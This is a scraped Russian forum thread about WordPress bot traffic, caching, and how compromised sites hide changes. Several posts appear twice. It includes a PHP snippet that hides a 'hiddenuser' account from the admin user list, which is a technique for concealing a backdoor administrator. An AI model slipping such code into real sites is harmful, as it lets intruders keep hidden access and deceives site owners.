Вообще не лучший вариант, можно неприятности получить, так как редирект, есть редирект и страницы поменяются в выдачи и другие проблемы. Даже если пропускать известных ботов, поступят другие сигналы, в теории, и не всех ботов пс можно охватить.
Как вариант, просто писать все прямые отдельно, потом тупо банить по Asn. Конечно банить конкретно ботов, что не сложно вычислить по сеткам, странам и тд.
Попробую, но позже, сходу не помню, но он не один и что-то из крупных и какой-то свежий. Там прямо в описании написано про увеличение плохого трафика, ру боты, Пакистан, Индия и что-то еще.
Все уже не так, крутят во всю и гугл, те же боты и те же подходы. Некоторое время назад эксперименты прошли успешно и пошло все в дело. Сейчас уже даже для wp в некоторых плагинах "файрволлов" отдельным пунктом защита от таких ботов ру трафика ( и не только). В общем процесс пошел во всю.
Бороться надо, но без фанатизма. Яндекс капча не плохо справляется с прямыми и кривыми и тд заходами. Подключаете ( своих проверок можно добавить, куки...) до сайта и пусть яндекс борется с ботами, работает все нормально.
Mister_Black#: Я могу php 8.3 включить он уже есть в ispmanager, только где гарантия, что мой сайт после этого будет работать, я придерживаюсь логики, работает - не трогай 😀
Просто используйте именно объектный кеш, включите у себя в панеле memcached или Redis, но если соберетесь 8.3, то memcache за глаза в данном случаи. Отправляйте все запросы необходимые туда и будет летать и именно объектный кеш.
Вера в него слишком преувеличена. Остальное от метода, можно из админки все по быстрому сделать, можно редирект устроить не наследив, можно через базу, можно пакостить разово и подчищать оставляя только на будущее ... Но все это при условии, если сам админ сайта позволит всем этим заняться, ставит что попало, не позакрывал доступы...
bobolab#: в самой админке скрыть наверное не очень сложно для спецов...
Один из 100500 вариантов
add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login;
if ($username != 'hiddenuser') { global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where); } }
Вообще не лучший вариант, можно неприятности получить, так как редирект, есть редирект и страницы поменяются в выдачи и другие проблемы. Даже если пропускать известных ботов, поступят другие сигналы, в теории, и не всех ботов пс можно охватить.
Как вариант, просто писать все прямые отдельно, потом тупо банить по Asn. Конечно банить конкретно ботов, что не сложно вычислить по сеткам, странам и тд.
Можете указать название плагина для wp?
Попробую, но позже, сходу не помню, но он не один и что-то из крупных и какой-то свежий. Там прямо в описании написано про увеличение плохого трафика, ру боты, Пакистан, Индия и что-то еще.
Ну тема не про объектный кеш, на самом деле. Объектный кеш тут никак не поможет.
А я увидел название и почему-то посмотрев код, подумал про запросы, уже просто не вижу ничего другого видимо 😀
Я могу php 8.3 включить он уже есть в ispmanager, только где гарантия, что мой сайт после этого будет работать, я придерживаюсь логики, работает - не трогай 😀
Просто используйте именно объектный кеш, включите у себя в панеле memcached или Redis, но если соберетесь 8.3, то memcache за глаза в данном случаи. Отправляйте все запросы необходимые туда и будет летать и именно объектный кеш.
WordFance подскажет если что?
Вера в него слишком преувеличена. Остальное от метода, можно из админки все по быстрому сделать, можно редирект устроить не наследив, можно через базу, можно пакостить разово и подчищать оставляя только на будущее ... Но все это при условии, если сам админ сайта позволит всем этим заняться, ставит что попало, не позакрывал доступы...
в самой админке скрыть наверное не очень сложно для спецов...
Один из 100500 вариантов
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'hiddenuser') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
}
}